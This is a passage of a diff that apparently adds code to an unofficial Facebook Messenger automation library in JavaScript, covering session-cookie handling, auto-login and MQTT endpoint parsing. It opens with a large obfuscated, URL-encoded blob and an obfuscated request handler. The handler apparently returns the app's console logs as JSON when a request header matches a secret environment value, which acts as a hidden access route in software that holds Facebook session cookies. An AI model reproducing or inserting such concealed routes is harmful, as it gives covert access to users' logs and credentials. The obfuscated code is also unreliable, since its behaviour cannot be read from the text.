%18%17%1B%17%13%0D%0FF%3C,?\'RK%1A%14%08%0D%0D%11%14BINFR#H!?%3C=F%22%25%3EQJJM6R#%3E\'9J=0$QJPJ%12%15\'=PJSKJNF%22#H!9JGF%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%15%1E3%3CKS%19%13%03%19%0C%0A%0DZJJGF%22%25HRIJ=F%22%25%3E!I:;0PQIRI:=F%22#H%5B9%3CMLR#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9J=0$%25JQJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?H%1B%0B%0C%16%00%0E%0B%0E%08M%0A%0D%04?JH%1D%1F%1C%0C%16%08%0CA7%06:3KSI%06Q%3E;PJQ%01W4.QQH;)P%20EPS2%11!*NDR9%1A*!IOF%20%19%10%3CJHM,%203)RKJ\'&H%3EKSI0%0D.2PJ%07%04%14%08%0E%0D%11%0C%14B4W%04%3CPJ%01%10%04%12%18%0B%16CRIJ=F%22%25%3E!I:;0RPHQ9J=0$#H!?%3CODRP*7Q%25NDP%05%05%0F%0C%02%12%04%16%16C%15%12%03#EP%03%11%1F%16%14%14%03Y_?%0FRQSX%5E%05%191%0A%10%046,%08+1JH;P%3C%22/3Y%07%13%03%1A%0C%0A%15%0CA7:%1D=KS%19%13%03%19%0C%0A%0DZJ%12),3PJSII%09!K2KSK%1C%00%18%17%1B%17%13%0D%0FF%06%12N\'RK%1A%1C&%11%09%01!%157%05&QQ%3EG;Y3(QQ8%1D(Q*EP%25X#Z4#EP#:%0F/*NDR%0F;0)IO0D%02(%12%13%03=%0EA%17\'RK%3C%5D%10%1F%0D%0D%19%16%08%09%03Y51B&IO%16%0B%1D%17%0F%10%0FF%02%1F%0F!RKJ\'_63KSI%02%03%5D%3CPJ%07%04%14%08%0E%0D%11%0C%14B%06%00%5C=PJ%01%10%04%12%18%0B%16CR\'1P+QQJ!/X0$QQ%3ER+&%15.QQJ%07%04%14%08%0E%0D%11%0C%14B(+%5E=PJ%01%10%04%12%18%0B%16CRI:;FXS8\'KJNERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JSHI%11%192;KSKH%1B%0B%0C%16%00%0E%0B%0E%08M%12%1B:8JH%1D%1F%1C%0C%16%08%0CA+%0B%013KSI0%0D.2PJQ%05%09%1F(QQH;+%14%20EPS%0C%3C%10(NDR%17%0FM!IOF%1E%1A;9JHM%0E*@%1ARKJ3X%14%3EKSI%20T%222PJQ#*W+QQH%11%05S%25EPS%14(Z(NDR-V%17$IOF4%02%0F%00JHM%1A+@*RKJ\'$%0C%3EKSI%164U0PJQ#(%13+QQ%1E%00)%09%17%0F%2294%1E(IO0D=!%14!Z%00%18%17%1B%17%13%0D%0FF%203H!RK%1A%14%08%0D%0D%11%14BIN8H%11&RKHLER#%3EQCJ=0RPHQ9J=0$#H!?J=0$QJSIIMF%22S8\'?:M6$%25NQCJ=0P%05%05%0F%0C%02%12%04%16%16C%1DU2$EP%03%11%1F%16%14%14%03YPH%5BI:;FQSH!I:;0%22S8\'?HOF%22%25%1E%1C%17%0F%05%19%10%17%0DZ+$0/QQ%18%08%07%15%13%1F%17XK%09%0BU\'EPQ87%5B7/EP%25K3%25%12%25EPQ%1E%1C%17%0F%05%19%10%17%0DZ%01S(/Q=%19+%20M?:0:O;%17-$D%02%14%06%0EB%20%11%04:EAXY%17%07%1FY%1BW%11!%5CN%5D%01JSJQ\'C%5D%16JSJRSWDB%03%0F%1F%16A%11%1F%1D;X%11-T*W%0E%10%0A%16%07I%05Y%12;_RTT%5EUOUS%15PQVYNKJS%19%12%11%04%0D%1B%0BR%01U%0D.P%03%00%1B%11%04FEI%00WJRUWHI%17QJRQW%5CPB%00N%09%22%5BEI%17QKRTVYTNZCPSOV%0E%0A%079_81$;C%01%08%07%00%0DV%1A%19%10%1FBIPT@MUWR%0ET%5CILWHK%5B%05Y%12;%5E%0D%10%05%25Q%20/*8II\'%185:%5EG_%14%08%09%1C%1E%0A%14%07%05Y(%03)!T%0E%04%08%0A%0D%10Y;%17-$DFPS%15TQV%5CKOFJ%1APV%5DHNJ@JQ%09_HHTJTLQ%5DIMRSY%03%14%08%18%13X%19%03%12%03MQH%0CLRQVZH%5DUOWU%5EDC%1BW%11!%5CN%5D%16LSJRVSHI%00RJRPSDB%03%15%1B%10A?4%1F;%5ERR%0EW%5DIHQKUDV%15HHSHRH%5D%1A%11%11%0F%1FJ8?%0B:DKJ%0DSV%5ELLQWTVUT@QJ%09%15%08%12%0E%11P:#%04%22O%16%1A%19%10%1FBIWTOOROGQ%09_IHSIQH%5C4%20%1E%20GJQ%09_IMUIPLPUMOZSY%03%14%08%18%13C%11-T*V%1A%19%10%1FBIV%15KHSI&DV%02KHSJPVOW%20!%059_%16%14%09:F%5E?%180$C%15%1D%0D%1D%16%09YEI%17QJQQU%5DTNTJUQOWQH%0CHRWP%5BOUS%02SQ%22T;QX%18%10%04%07%06B%05%22%0D%0B%22MP%3C%02289%16%14%09:%25X%07%00%13%03%0C%12C%00%1B%11%04FEI%00RJQ#P@I%17QJSWR%5EPB%00N%09%22%5BEONQKTLV%02KHRHRWOV%0E%0A%079IJ%5D%0F%0B%1D%02%11Y%1C%1B%10%0B%1D%17%0F%10%0FF,%0E%11%20A%1F%07%13%03%1A%0C%0A%15%0CA%15%00A:KS%19%13%03%19%0C%0A%0DZJJ=6R#8QCJ=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$QHRJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?HLE(-$%3EJHOD%04%1E%16%14%01%15%0F%02%17X6.%03%22ND%02%0A%06%0E%17%13%08M(%13%201JHM%0AN+!RKJ%05%5B+;KSI%20-%5C?PJQ3%0A%25&QQ%1E%00)%09%17%0F%22-;%1F&IO0D%0F/%02*Z%00%18%17%1B%17%13%0D%0FF%02%11K!RK%1A%14%08%0D%0D%11%14B%06%00%5C=PJQ%153%5E$QQH+%09%22-EPS&4%18\'NDR%1F%01%22!IOF%16%3E%113JHM$8*%22RKJ\'%14);KSI%164U0PJQ7T%0B+QQH%15$%13/EPS%0C%16U%22NDR%17%25%08+IOF%1E%10%1A?JHM,0%0D%25RKJ\'_63KSI%025U%00PJQ%153%5E$QQ%1E%1C%17%0F%05%19%10%17%0DZ3.S/QQ%18%08%07%15%13%1F%17XK%19%07Q#EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA7%3C:;KS%19%13%03%19%0C%0A%0DZJ0%0D.2PJS90%0FX3PJ\'JH%1B%0B%0C%16%00%0E%0B%0E%08M%0A%17%259J,*%15:Q%18%08%07%15%13%1F%17X%0C%14\'%25=%205%00%20\'Y%1C%00%18%17%1B%17%13%0D%0FF%02%139%20RK%1A%14%08%0D%0D%11%14BIM6%22S8!I@M6$%25H!I:;0$S8\'?:M6$%258Q9%3C;0PSKRI:;FXS8\'IIMF%22S8\'?:M6$S8\'?HOGQ%13&%0B(IODP%05%05%0F%0C%02%12%04%16%16C3%25%12%25EP%03%11%1F%16%14%14%03YPH!?HMEQSBQ9%3CMLR#%3ESHI%11)%09%3EKSKH%1B%172%10%12%189$%1E%07;PJ\'_,%20:8C%05%0F%0C%02%12%04%16%16C%11%07%17%25EP%03%11%1F%16%14%14%03YPKQCJ=0RPHQ9J=0$#H!?%3CODSP*%1B%11*NDPQHRI:=F%22#H!?%3CM6R#%3E\'?J=0$#H!?%3C=F%22%25%3E\'K%1C%00%18%17%1B%17%13%0D%0FF(;%16%20R%05X%16.P%03%11%1F%16%14%14%03Y%17%0D?&:%01T%09;%3EA%1F%07%13%03%1A%0C%0A%15%0CA%01%0F!;KS%19%13%03%19%0C%0A%0DZJ%15%1F%1D%1C%17%05ZJ:;F%22%25JS9JGF%22%25H%5BI:;FXS8\'?%1C%00%18%17%1B%17%13%0D%0FF$0%22%20RK%1A%14%08%0D%0D%11%14BI3X%14%3EKSK:7%04L2KS?IO%10%1F%0D%0D%19%16%08%09%03Y%1BU(!IO%16%0B%1D%17%0F%10%0FFE%0A7%220JHOF%22%25%1E%1C%17%0F%05%19%10%17%0DZ\'%253.QQ%18%08%07%15%13%1F%17XKR71P,QQJPJJ=0RYH!?JNFR#H!?%3C=F%22%25H!?%3CODPSKQ9:M6%22YH!?JGF%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ES%1F%1B-%05%08%1A8%1D%202,EP%25%5E%0D%18%0D#V%1F%0D%0D%19%16%08%09%03Y!S7!IO%16%0B%1D%17%0F%10%0FF,%12N%1ARKJ\'&H%3EKSI%06%0E%14%3CPJQ%05%09%1F(QQH;+%14%20EP%05%05%0F%0C%02%12%04%16%16C;%1B1%25EP%03%11%1F%16%14%14%03YP%0C6P+NDP#.C4(ND$P*=%11%22NDP%05%05%0F%0C%02%12%04%16%16C/4)%25EP%03%11%1F%16%14%14%03YP%221S\'NDP#2%13W+ND$PJ%07%04%14%08%0E%0D%11%0C%14B%16%12&:PJ%01%10%04%12%18%0B%16CRI@M6$QHRI@M6$SKQI:M6$%258Q9%3C;DPSKQJ:M6%22YH!?JGF%22%25%3EQ9J=0$%25%3EQ9%3CO6R#8Q9:M6$%25H!I:;0$S8\'?:M6$%258QCJ=0$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA?%3E%3C9KS%19%13%03%19%0C%0A%0DZJJ=6R#8QC:;FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ESIIN%1E69)RKHLE4%1A%170JHOD%04%1E%16%14%01%15%0F%02%17X%22%0B*%20ND%02%0A%06%0E%17%13%08MQSH!I:;0%22S8\'?HMEQ-3L#IODSP%0C%10#%22NDPQ%1E%00)%09%17%0F%22!6%18%20IO0D57%3C\'Z%00%18%17%1B%17%13%0D%0FF87%02%22RK%1A%14%08%0D%0D%11%14BI%15%2282KSKJN%06%3C%09)RKH%1B%0B%0C%16%00%0E%0B%0E%08M%0E%14%20;JH%1D%1F%1C%0C%16%08%0CAN%02?%0A*RKH=%3C%10M)RK%3CND%04%1E%16%14%01%15%0F%02%17X23%17%20ND%02%0B2M(:%09%25%201KS?IO6Q)0C!IODRP%0C%0E%04\'NDP%25%5E!?Z%10%0C%0BX%10%1D%1A%20%5BEI%17QJQUW%5DTH%1BKRW%20%5BPC%18%16%07%15F%20=%08%22A%15%09%0F%01%1CP%10%1D%1A%20ZEI%00WJRWWHI%17QJRQT%5DPQ%18%09%15%08%12%0E%11P%10%1D%1A%20O%16%1A%19%10%1FBIV%02KHVJRQK%5D%01ISC\'QOW%0A%1F%1B;_,%22%1D8D%22%0B*%20NDFPS%15SQV%5DHLR_TTSXNQYRR%0EP%5DIIRLGQ%1E%5CIHS%3CKZ%04%1F%1C%19%08A%01%00%15%08YPRCTVV_%5CH%0CHRQV%5EJQY%09%05%19\'PQH%0CHRPU_IUS%02SQT.NQX%01%01%0E%08%1E%0DX%0C%18%11%20%5B4A-&RK:%05%02?0KS?:+;%1A%3EKS?I%1C&%11%09%01!J0%5E%1D1PJSII#\'%0F=KSK%3CJ%1E(O)!J%12%1F%06?PJSII7%0E%0C1KSK%3CND%22P6%10T(NDPSK%1D%14%09/EPQ%3ES%1E%1DN8)N%22RKH%5D%1E(O)!%0D)?$QQ%3ERK:%11%03@9KS?:%0D,%141KS?I?U,=KS9%02%09+1PJ\'98%0B(0PJ\'J%0E%04%1E8QI#Z4#EP#%00%15$)ND$#:J/%22ND$P:B7$ND%22%1B%0C%3C*IO0%221%20%15%20IO0QQIR#%10.,QQJQJJ=0RYH!?HOFQ%13$%22(IODPC%1E%18%10%04%07%06B%1B%02%09%07AN%5BLORLOQ%09_IHQOQH%5C%1E%1E%00%22GJWP%5CNNNJ%0DSV%5CHLSSY,%22%1D8SHA%00%13%03%0C%12C%00%1B%11%04FEI%00RJSW%5E@I%17QJRTT%5BPB%10%1D%1A%20%5BEI%17WJRQQ%5D%5CH%1BKRQV.PC.%3E%12%20%5BF%22#H!9J=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$C%01%08%07%00%0DV%04%05%1E%07%04%14%08%0E%0D%11%0C%14B%0E%0278PJ%01%10%04%12%18%0B%16CRJ03*=PJSHIME%22S8!CJ=0RYH!?%3CM6R#%3E\'?%3CM6$Q8Q9:M6%22S8\'?J=F%22%25%3E\'I:;0%22S8\'?:MLR#%3E\'?%3CODRPHQ9J=0$#H!?%3CO%10%1F%0D%0D%19%16%08%09%03Y)(K#IO%16%0B%1D%17%0F%10%0FFJ%25%0DSJVRA%10%1F%0D%0D%19%16%08%09%03Y%13%5B.#IO%16%0B%1D%17%0F%10%0FFEX#%3EQ9%3CO6RYH!?JGF%22%25H%5BI:;0%04%02(%12%13%03=%1E*=(RK%3C%5B%20J%13+A%04%14%08%0E%0D%11%0C%14B,%20:8P%04I-%20O%16%0B%1D%17%0F%10%0FF%02%17=\'!%05R),$C%1E%1C%17%0F%05%19%10%17%0DZ+%204,QQ%18%08%07%15%13%1F%17XK%0D0Y/EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA%05439KS%19%13%03%19%0C%0A%0DZJ8%15%0B2PJSII#=O%3EKSK%1C%00%18%17%1B%17%13%0D%0FF(%0F5%22RK%1A%14%08%0D%0D%11%14B%20%0D%5B%00PJQ%05%03%3E.QQH/W%0C%20EPS.%00%0E%1BND%04%1E%16%14%01%15%0F%02%17X&%02%08#ND%02%0A%06%0E%17%13%08M%16:%0D2JHM%20%1F%00(RKJ7&H9KSI%06%045:PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ%05T%0A/QQ%18%08%07%15%13%1F%17XK7%18%0D%1CEPQ8+%0BT,EP%25KS%1F%0D%03%19Y9%10%1F%20%5C=O%1E$D%05%3CCJO$%18%10$@MD%17%1A%07%1DXNC%25%09%08%1C%06%19@MD8%1B%1A%1C%18@MD)%01%01?%0FS$\'+%1CH#%0B%00%10%1B%0EIW#%0B%01%02!%12%1B%0CN:%13%02%05*%06%1A%17)%07%104%1C%07HNC%5BCJO%1E%1A%1A%1E%179%13%1C%0DZOX1%1E%18%09%0C%06%07G&%08%06%18%5BTA%0B%02%01%1A%14%0A%09%07%03%1D%1FY%17%1A%07%1DJ%11%19%17%0F%1A%0D%07W%07%05%10PQZOX%05%03%1F%09%0CZOX%01%05%04%14%07%0F%1A%0C%0BCJO%01%01%00%1E%1D%03%0FOUZ%06%1E%14IDA%5B%0D%1D%0E@MD%0C%1C%0D%01%13@MD-%08%1B%00=%1D%03%12OUZ%16%04%04CJO;-#&%3E.9*\'-!XNC\'%08%01&AV@%02:O%03&A\'Y%07%13%03%1A%0C%0A%15%0CA%05%5D%1E:KS%19%13%03%19%0C%0A%0DZJ%20P%3E5PJSI:;%10%1F%0D%0D%19%16%08%09%03Y%0F%0DC#IO%16%0B%1D%17%0F%10%0FF,%12N%1ARKJ%05%5D%1E:KSI%16%16*;PJQ#*W+QQH+%09%22-EPS*?4#NDR%0B%144\'IOF46W9JHM,2I%25RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA?8%1B:KS%19%13%03%19%0C%0A%0DZ;%04%11*QQH%0D6\',EPS%08B6%20NDR%1F%01%22!IOF(%13%201JH%1B%0B%0C%16%00%0E%0B%0E%08M%0A%11W;JH%1D%1F%1C%0C%16%08%0CANFQ#H!9@M6$SBQ9%3C;F%22S8\'?%3C;F%22%25J!I:=F%22#H!?%3CM6R#%3E\'?J=0$#H!?%3C=FXS8\'?%3C;DRPK/2W\'EPQIR+,U)QQJS%1F%07%13%03%1A%0C%0A%15%0CA3=O9KS%19%13%03%19%0C%0A%0DZJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?HMERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JWI@M6$Q%1E%1C%17%0F%05%19%10%17%0DZ73%22/QQ%18%08%07%15%13%1F%17XK!?:#%1B49KS?J=0P#2/%25%25ND$%05%08%11T%25NDB%1E%16%14%01%15%0F%02%17X%14%0A%25#ND%02%0A%06%0E%17%13%08MQ)6=&IODR#%3E%07%04%14%08%0E%0D%11%0C%14B0+%14;PJ%01%10%04%12%18%0B%16C#Z4#EP#%04%1E%17%25ND$C%1E%1C%17%0F%05%19%10%17%0DZ%11%0A$/QQ%18%08%07%15%13%1F%17X%04O%0E#NDR9Q5)IOF%16%3E%113JHM%1A+@*RK%1C%00%18%17%1B%17%13%0D%0FF%201%0C!RK%1A%14%08%0D%0D%11%14B%20%1F=:PJQ;%00%15+QQH;;*,EPS%221S\'NDR)%089)IO%10%1F%0D%0D%19%16%08%09%03Y%17%05%0D%20IO%16%0B%1D%17%0F%10%0FFE%121%161JHO64A53JH;E0H.2JHO%10%1F%0D%0D%19%16%08%09%03Y1%20%15%20IO%16%0B%1D%17%0F%10%0FF,0%0D%25RKJ\'_63KSI4S%00?PJQ/%1B%0A%17QQH%1D%0A%18#EPS%0C%1C%15#ND%04%0B%20%15%25IOV%1F%0D%0D%19%16%08%09%03Y%13%02%08%20IO%16%0B%1D%17%0F%10%0FF8L%15%25RKJ%01%05%00=KSI%06%00%5C=PJ%07%04%14%08%0E%0D%11%0C%14B,%1C%01%03PJ%01%10%04%12%18%0B%16CR9%3C=6$%25H!?H=FR#HQ9:;0%22S8\'?%3C=F%22%25%3E\'%1F%07%13%03%1A%0C%0A%15%0CA%09Z%17%02KS%19%13%03%19%0C%0A%0DZJ:;6%3C%0E.;JH;F%22%25J!%0D/%1C&QQ%3E%07%04%14%08%0E%0D%11%0C%14B(%13%0A%03PJ%01%10%04%12%18%0B%16C#Z4#EP#%10%11%20#ND$#%08%1B%10#ND$PJA%1F%07%13%03%1A%0C%0A%15%0CA%0D_%10%02KS%19%13%03%19%0C%0A%0DZJI3=O9KSKKN$K%12*RKHOFQS8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I:;0$Q%1E%1C%17%0F%05%19%10%17%0DZ\'%11%04%17QQ%18%08%07%15%13%1F%17X25W#NDR%0F1B+IOF%16%3C62JHM%1A-%3E)RKJ7%06:3KS%1F%02#;5PJA%04%14%08%0E%0D%11%0C%14B%06%3E%09%03PJ%01%10%04%12%18%0B%16C3\'7$EPS%00)Z%18NDR%1F%01%22!IOF%1E%1A;9JHM%3C%12;(RK%1C%00%18%17%1B%17%13%0D%0FF,%12N%1ARK%1A%14%08%0D%0D%11%14BI=0%22#%3E\'I:;D%22SBQ9%3CMLR#%3EQCJ=0RYH!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%1A+%5B%03JH%1D%1F%1C%0C%16%08%0CAN%19%00%08%06%15%04AN6$S8\'KH=FXS8\'I@M6$SBQ9%3CMLR#%3EQCJ=0$%05%191%0A%10%04C%1A5P4_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF_@%05X%00)%09%17%0FW%0FZ,,%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MKI%1EA%18*%0E%1C%1BV:=;/%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YKV%07Y%1B-%05%08%1AM%09V0(P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XPL%1FZ%1C&%11%09%01T7%25%17%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CC%1FZ%1C&%11%09%01T%15%03%12%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CKT%1C%5D%172%10%12%18L0%1F%016E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZPS%1BV%033%0B%0B%00O+%19%1E7%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BP_%10B%02(%12%13%03H%02H%11,G%04%14%08%0E%0D%11%0C%14JH%1D%1F%1C%0C%16%08%0CATZ%04C%191%0A%10%04C0%17%015_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF_A%05X%00)%09%17%0FW%13:1-%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MHM%1EA%18*%0E%1C%1BV%04.$.%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YIQ%07Y%1B-%05%08%1AM3%13()P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17X%5B%07Y%1B-%05%08%1AM%19-%20)P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XRN%1FZ%1C&%11%09%01T\'%0D%22%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CIR%1C%5D%172%10%12%18L8/%1B6E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZQP%1BV%033%0B%0B%00O%05*%0A5%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BPW%10B%02(%12%13%03H,A%08.G%04%14%08%0E%0D%11%0C%14JH%1D%1F%1C%0C%16%08%0CAT%5D%04C%191%0A%10%04C,%0037_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF%5EA%05X%00)%09%17%0FW%1752/%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MHH%1EA%18*%0E%1C%1BV2%09),%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YJV%07Y%1B-%05%08%1AM%113%22+P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XT%07Y%1B-%05%08%1AM7%0C\'+P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XPC%1FZ%1C&%11%09%01T%05-%1E%20D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CNR%1C%5D%172%10%12%18L$%00_4E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZPW%1B%10P\")")
256
+ }();
257
+ var cUFz = zKhqb[zKhqb.zgiib(0)]();
258
+ while (cUFz < zKhqb[zKhqb.vbdib(1)]()) switch (cUFz) {
259
+ case 0b1101:
260
+ cUFz = zKhqb[zKhqb.vbdib(1)]();
261
+ res[zKhqb.r67hb(2)]({
262
+ [zKhqb.n12hb(3)]: [0] == '',
263
+ [zKhqb.PACib(4)]: zKhqb.Lvxib(5)
264
+ });
265
+ break;
266
+ case 0b100000:
267
+ cUFz = zKhqb[zKhqb.vbdib(1)](); {
268
+ res[zKhqb.Hqsib(6)](zKhqb.uc(16) ? 200 : 192, {
269
+ [zKhqb.Dlnib(7)]: zKhqb.zgiib(8)
270
+ });
271
+ res[zKhqb.vbdib(9)](JSON[zKhqb.r67hb(10)](console[zKhqb.n12hb(11)], null, zKhqb.uc(21) ? 2 : -9), zKhqb.PACib(12));
272
+ res[zKhqb.Lvxib(13)]();
273
+ }
274
+ break;
275
+ case 0b10010:
276
+ cUFz = req[zKhqb.Hqsib(14)][zKhqb.Dlnib(15)] == process[zKhqb.zgiib(16)][zKhqb.vbdib(17)] ? zKhqb[zKhqb.r67hb(18)]() : zKhqb[zKhqb.n12hb(19)]();
277
+ break;
278
+ }
279
+ break;
280
+ }
281
+ default: {
282
+ res.writeHead(200, "OK", { "Content-Type": "text/html" });
283
+ res.write(ClassicHTML(globalThis.Fca.Require.FastConfig.HTML.UserName, globalThis.Fca.Data.PremText.includes("Premium") ? "Premium": "Free", globalThis.Fca.Require.FastConfig.HTML.MusicLink));
284
+ }
285
+ }
286
+ res.end();
287
+ })
288
+
289
+ globalThis.Fca.Require.Web = express;
290
+
291
+ /!-[ Function setOptions ]-!/
292
+
293
+ /**
294
+ * @param {{ [x: string]: boolean; selfListen?: boolean; listenEvents?: boolean; listenTyping?: boolean; updatePresence?: boolean; forceLogin?: boolean; autoMarkDelivery?: boolean; autoMarkRead?: boolean; autoReconnect?: boolean; logRecordSize: any; online?: boolean; emitReady?: boolean; userAgent: any; logLevel?: any; pageID?: any; proxy?: any; }} globalOptions
295
+ * @param {{ [x: string]: any; logLevel?: any; forceLogin?: boolean; userAgent?: any; pauseLog?: any; logRecordSize?: any; pageID?: any; proxy?: any; }} options
296
+ */
297
+
298
+ function setOptions(globalOptions, options) {
299
+ Object.keys(options).map(function(key) {
300
+ switch (Boolean_Option.includes(key)) {
301
+ case true: {
302
+ globalOptions[key] = Boolean(options[key]);
303
+ break;
304
+ }
305
+ case false: {
306
+ switch (key) {
307
+ case 'pauseLog': {
308
+ if (options.pauseLog) log.pause();
309
+ else log.resume();
310
+ break;
311
+ }
312
+ case 'logLevel': {
313
+ log.level = options.logLevel;
314
+ globalOptions.logLevel = options.logLevel;
315
+ break;
316
+ }
317
+ case 'logRecordSize': {
318
+ log.maxRecordSize = options.logRecordSize;
319
+ globalOptions.logRecordSize = options.logRecordSize;
320
+ break;
321
+ }
322
+ case 'pageID': {
323
+ globalOptions.pageID = options.pageID.toString();
324
+ break;
325
+ }
326
+ case 'userAgent': {
327
+ globalOptions.userAgent = (options.userAgent || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36');
328
+ break;
329
+ }
330
+ case 'proxy': {
331
+ if (typeof options.proxy != "string") {
332
+ delete globalOptions.proxy;
333
+ utils.setProxy();
334
+ } else {
335
+ globalOptions.proxy = options.proxy;
336
+ utils.setProxy(globalOptions.proxy);
337
+ }
338
+ break;
339
+ }
340
+ default: {
341
+ log.warn("setOptions", "Unrecognized option given to setOptions: " + key);
342
+ break;
343
+ }
344
+ }
345
+ break;
346
+ }
347
+ }
348
+ });
349
+ }
350
+
351
+ /!-[ Function BuildAPI ]-!/
352
+
353
+ /**
354
+ * @param {any} globalOptions
355
+ * @param {string} html
356
+ * @param {{ getCookies: (arg0: string) => any[]; }} jar
357
+ */
358
+
359
+ function buildAPI(globalOptions, html, jar) {
360
+ var maybeCookie = jar.getCookies("https://www.facebook.com").filter(function(/** @type {{ cookieString: () => string; }} */val) { return val.cookieString().split("=")[0] === "c_user"; });
361
+
362
+ if (maybeCookie.length === 0) {
363
+ switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
364
+ case true: {
365
+ globalThis.Fca.Require.logger.Warning(globalThis.Fca.Require.Language.Index.AutoLogin, function() {
366
+ return globalThis.Fca.AutoLogin();
367
+ });
368
+ break;
369
+ }
370
+ case false: {
371
+ throw { error: globalThis.Fca.Require.Language.Index.ErrAppState };
372
+
373
+ }
374
+ }
375
+ }
376
+
377
+ if (html.indexOf("/checkpoint/block/?next") > -1) log.warn("login", Language.CheckPointLevelI);
378
+
379
+ var userID = maybeCookie[0].cookieString().split("=")[1].toString();
380
+ process.env['UID'] = logger.Normal(getText(Language.UID,userID), userID);
381
+
382
+ try {
383
+ clearInterval(checkVerified);
384
+ } catch (e) {
385
+ console.log(e);
386
+ }
387
+
388
+ var clientID = (Math.random() * 2147483648 | 0).toString(16);
389
+
390
+ var CHECK_MQTT = {
391
+ oldFBMQTTMatch: html.match(/irisSeqID:"(.+?)",appID:219994525426954,endpoint:"(.+?)"/),
392
+ newFBMQTTMatch: html.match(/{"app_id":"219994525426954","endpoint":"(.+?)","iris_seq_id":"(.+?)"}/),
393
+ legacyFBMQTTMatch: html.match(/(\["MqttWebConfig",\[\],{fbid:")(.+?)(",appID:219994525426954,endpoint:")(.+?)(",pollingEndpoint:")(.+?)(3790])/)
394
+ }
395
+
396
+ let Slot = Object.keys(CHECK_MQTT);
397
+
398
+ var mqttEndpoint,region,irisSeqID;
399
+ Object.keys(CHECK_MQTT).map(function(MQTT) {
400
+ if (CHECK_MQTT[MQTT] && !region) {
401
+ switch (Slot.indexOf(MQTT)) {
402
+ case 0: {
403
+ irisSeqID = CHECK_MQTT[MQTT][1];
404
+ mqttEndpoint = CHECK_MQTT[MQTT][2];
405
+ region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
406
+ return;
407
+ }
408
+ case 1: {
409
+ irisSeqID = CHECK_MQTT[MQTT][2];
410
+ mqttEndpoint = CHECK_MQTT[MQTT][1].replace(/\\\//g, "/");
411
+ region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
412
+ return;
413
+ }
414
+ case 2: {
415
+ mqttEndpoint = CHECK_MQTT[MQTT][4];
416
+ region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
417
+ return;
418
+ }
419
+ }
420
+ return;
421
+ }
422
+ });
423
+
424
+ var ctx = {
425
+ userID: userID,
426
+ jar: jar,
427
+ clientID: clientID,
428
+ globalOptions: globalOptions,
429
+ loggedIn: true,
430
+ access_token: 'NONE',
431
+ clientMutationId: 0,
432
+ mqttClient: undefined,
433
+ lastSeqId: irisSeqID,
434
+ syncToken: undefined,
435
+ mqttEndpoint: mqttEndpoint,
436
+ region: region,
437
+ firstListen: true
438
+ };
439
+
440
+ var api = {
441
+ setOptions: setOptions.bind(null, globalOptions),
442
+ getAppState: function getAppState() {
443
+ return utils.getAppState(jar);
444
+ }
445
+ };
446
+
447
+ if (region && mqttEndpoint) {
448
+ //do sth
449
+ }
450
+ else {
451
+ log.warn("login", getText(Language.NoAreaData));
452
+ api["htmlData"] = html;
453
+ }
454
+
455
+ var defaultFuncs = utils.makeDefaults(html, userID, ctx);
456
+
457
